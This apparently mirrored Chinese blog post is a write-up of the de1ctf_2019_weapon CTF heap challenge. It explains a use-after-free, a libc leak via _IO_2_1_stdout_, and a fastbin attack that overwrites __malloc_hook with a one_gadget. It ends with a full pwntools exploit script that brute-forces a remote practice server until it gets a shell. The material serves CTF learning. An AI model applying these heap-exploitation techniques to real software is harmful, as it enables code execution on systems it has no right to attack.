zoukankan      html  css  js  c++  java
  • 寒假训练 de1ctf_2019_weapon(5/250)

    这道题思路对了,但在如何分配到_IO_2_1_stdout_这上面

    学到的东西也挺多  学会了暴力、复习了通过_IO_2_1_stdout_来leak libc,不过运气不好,由于暴力只有1/16,所以我跑了好久才跑出来 极度自闭

    这道题总的来说,还是自己写出来的,看了别的师傅的一点点,但没有什么帮助,最后还是自己写出来的

    思路

    1. 由于程序有uaf,但没有show函数,可以通过stdout来打印出libc,然后再通过fast attack来getshell,所以我们可以先通过uaf漏洞修改chunk指针的低字节,使其指向第一个chunk的content部位
    2. 这样就可以造成堆重叠,然后在将一个0x60的chunk先分配到fastbin中,再分配到unsorted bin中就再暴力跑4位出来,就可以修改到_IO_2_1_stdout_-0x43的位置(因为这里是个fake chunk跟malloc_hook一个道理)
    3. 泄露玩libc后,再通过fastbin attack劫持malloc hook为one_gadget即可

    exp

    from pwn import *
    
    #p=process('./de1ctf_2019_weapon')
    p=remote('node3.buuoj.cn',29087)
    libc=ELF('../libc-2.23.so')
    
    def add(size,idx,name):
        p.sendlineafter('>>','1')
        p.sendlineafter(': ',str(size))
        p.sendlineafter(': ',str(idx))
        p.sendafter(':',name)
    
    def delete(idx):
        p.sendlineafter('>>','2')
        p.sendlineafter(':',str(idx))
    
    def edit(idx,data):
        p.sendlineafter('>>','3')
        p.sendlineafter(': ',str(idx))
        p.sendafter(':',data)
    
    def pwn():
        add(0x18,0,p64(0)+p64(0x21))
        add(0x18,1,'pppp')
        add(0x18,2,'pppp')
        add(0x40,3,'pppp')
        add(0x60,4,'pppp')
        add(0x60,5,'pppp')
        delete(1)
        delete(2)
        edit(2,'x10')
        add(0x10,2,'pppp')
        add(0x10,1,'pppp')
        edit(0,p64(0)+p64(0x111))
        delete(4)
        delete(1)
        add(0x50,6,p64(0)+p64(0x21))
        add(0x30,7,'pp')
        edit(4,p8(0xdd)+p8(0x75))
        add(0x60,4,'pp')
        add(0x60,8,b'ppp'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'x00')
        addr=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
        print(hex(addr))
        print('stdout:'+hex(libc.symbols['_IO_2_1_stdout_']))
        libc.address=addr-0x3c5600
        one_gadget=0xf1147+libc.address
        malloc_hook=libc.symbols['__malloc_hook']
        print('malloc_hook:'+hex(malloc_hook))
        print(hex(malloc_hook-0x23))
        delete(5)
        edit(5,p64(malloc_hook-0x23))
        add(0x60,5,b'p'*0x13+p64(one_gadget))
        add(0x60,0,b'p'*0x13+p64(one_gadget))
        #add(0x10,1,'p')
    #gdb.attach(p)
    #pwn()
    #p.interactive()
    while(1):
        try:
            p=remote('node3.buuoj.cn',29087)
            pwn()
            p.interactive()
            break
        except Exception as e:
            print(e)
            p.close()
            continue
  • 相关阅读:
    【BZOJ 4581】【Usaco2016 Open】Field Reduction
    【BZOJ 4582】【Usaco2016 Open】Diamond Collector
    【BZOJ 4580】【Usaco2016 Open】248
    【BZOJ 3754】Tree之最小方差树
    【51Nod 1501】【算法马拉松 19D】石头剪刀布威力加强版
    【51Nod 1622】【算法马拉松 19C】集合对
    【51Nod 1616】【算法马拉松 19B】最小集合
    【51Nod 1674】【算法马拉松 19A】区间的价值 V2
    【BZOJ 2541】【Vijos 1366】【CTSC 2000】冰原探险
    【BZOJ 1065】【Vijos 1826】【NOI 2008】奥运物流
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14284206.html
Copyright © 2011-2022 走看看